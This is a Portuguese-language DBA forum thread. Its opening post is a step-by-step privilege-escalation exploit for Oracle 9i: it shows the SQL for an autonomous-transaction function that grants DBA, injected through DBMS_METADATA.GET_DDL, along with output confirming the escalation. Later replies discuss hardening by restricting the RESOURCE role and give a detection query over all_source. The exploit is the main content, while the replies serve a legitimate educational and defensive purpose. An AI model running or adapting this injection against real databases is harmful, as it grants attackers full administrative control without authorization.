[Dica] Conseguir role DBA no Oracle 9i (falha de segurança)

DBA Geral (instalação, configuração do banco, scripts do Sql*Plus, shell scripts, batch scripts, etc...)
Responder
Avatar do usuário
dr_gori
Moderador
Moderador
Mensagens: 5024
Registrado em: Seg, 03 Mai 2004 3:08 pm
Localização: Portland, OR USA
Contato:
Thomas F. G

Você já respondeu a dúvida de alguém hoje?
https://glufke.net/oracle/search.php?search_id=unanswered

Neste post vamos mostrar como conseguir a role de DBA com oracle 9i tendo apenas permissão de CONNECT e RESOURCE. Utilizamos a versão 9.2.0.4.0 para realizar o estudo abaixo. Este post é baseado no documento de Pete Finnigan entitulado de "Many ways to become DBA".

Primeiramente vamos ver a versão exata que estamos usando:

Selecionar tudo

sys@ORA9R2> select * from v$version;
BANNER
----------------------------------------------------------------
Oracle9i Enterprise Edition Release 9.2.0.4.0
PL/SQL Release 9.2.0.4.0 - Production
CORE 9.2.0.3.0 Production
TNS for Linux: Version 9.2.0.4.0 - Production
NLSRTL Version 9.2.0.4.0 - Production
Criação do usuário
Neste exemplo, vamos criar o usuário que iremos transformar em DBA. Chamaremos o usuário de TESTUSER e daremos apenas acesso de CONNECT e RESOURCE pra ele!

Selecionar tudo

sys@ORA9R2> create user testUser identified by testUser;

User created.

sys@ORA9R2> grant connect, resource to testUser;

Grant succeeded.

sys@ORA9R2> connect testUser/testUser
Connected.
testuser@ORA9R2> select * from user_role_privs;

USERNAME GRANTED_ROLE ADM DEF OS_
-------- ------------ --- --- ---
TESTUSER CONNECT NO YES NO
TESTUSER RESOURCE NO YES NO

testuser@ORA9R2>
Ganhar privilégio de DBA
Agora que o usuário está criado e tem pouquíssimos privilégios, vamos usar uma falha da versão 9i para obter a role DBA. Esta falha envolve a criação de uma função e o uso de uma vulnerabilidade da package DBMS_METADATA.

Criação da função

Selecionar tudo

testuser@ORA9R2> create or replace function testuser.hack return varchar2
2 authid current_user is
3 pragma autonomous_transaction;
4 begin
5 execute immediate 'grant dba to testUser';
6 return '';
7 end;
8 /

Function created.
Execução da Função

Selecionar tudo

testuser@ORA9R2> select sys.dbms_metadata.get_ddl('''||testuser.hack()||''','')
2 from dual;
ERROR:
ORA-31600: invalid input value '||testuser.hack()||' for parameter OBJECT_TYPE in
function GET_DDL
ORA-06512: at "SYS.DBMS_SYS_ERROR", line 105
ORA-06512: at "SYS.DBMS_METADATA_INT", line 1536
ORA-06512: at "SYS.DBMS_METADATA_INT", line 1900
ORA-06512: at "SYS.DBMS_METADATA_INT", line 3606
ORA-06512: at "SYS.DBMS_METADATA", line 504
ORA-06512: at "SYS.DBMS_METADATA", line 560
ORA-06512: at "SYS.DBMS_METADATA", line 1221
ORA-06512: at line 1

no rows selected
E agora, a mágica!

Selecionar tudo

testuser@ORA9R2> select * from user_role_privs;

USERNAME GRANTED_ROLE ADM DEF OS_
-------- ------------ --- --- ---
TESTUSER CONNECT NO YES NO
TESTUSER DBA NO YES NO
TESTUSER RESOURCE NO YES NO

testuser@ORA9R2>
Voalá! Role de DBA para TESTUSER !
:-o


E agora ?
Como você faria pra detectar se algum dos seus usuários fez essa malandragem acima? Vamos encontrar uma solução para esse caso! Responda o link com idéias de como descobrir e evitar isso!
:-o
diegoleite
Rank: Analista Pleno
Rank: Analista Pleno
Mensagens: 115
Registrado em: Sáb, 10 Nov 2007 2:54 pm
Localização: rio de janeiro
Att,


Diego Leite
DBA ORACLE

Dr_gori,

Se eu fosse o DBA você não faria isso.rsrsrs

Qual a necessidade dos privs Connect e Resource? Ao criar um usuario pelo Enterprise Manager ele concede esses privs, porem para evitar isso de somente o Create session.

Na Role Resource contem alguns privilegios perigosos!!! como você demosrou acima..

CREATE TRIGGER
CREATE SEQUENCE
CREATE TYPE
CREATE PROCEDURE
CREATE CLUSTER
CREATE OPERATOR
CREATE INDEXTYPE
CREATE TABLE


Obs:altem dos privs cuidado com as quotas!!!


Abracos!!!


você ta querendo deixar alguns amigos desempregados ne?!?!!! srsrsrsr
diegoleite
Rank: Analista Pleno
Rank: Analista Pleno
Mensagens: 115
Registrado em: Sáb, 10 Nov 2007 2:54 pm
Localização: rio de janeiro
Att,


Diego Leite
DBA ORACLE

a esqueci da outra pergunta!!! rsrsrs



select owner from all_source where text like '%grant dba to bug%';


Olha o X9!! aí!! rsrsrs
Responder
  • Informação
  • Quem está online

    Usuários navegando neste fórum: Nenhum usuário registrado e 17 visitantes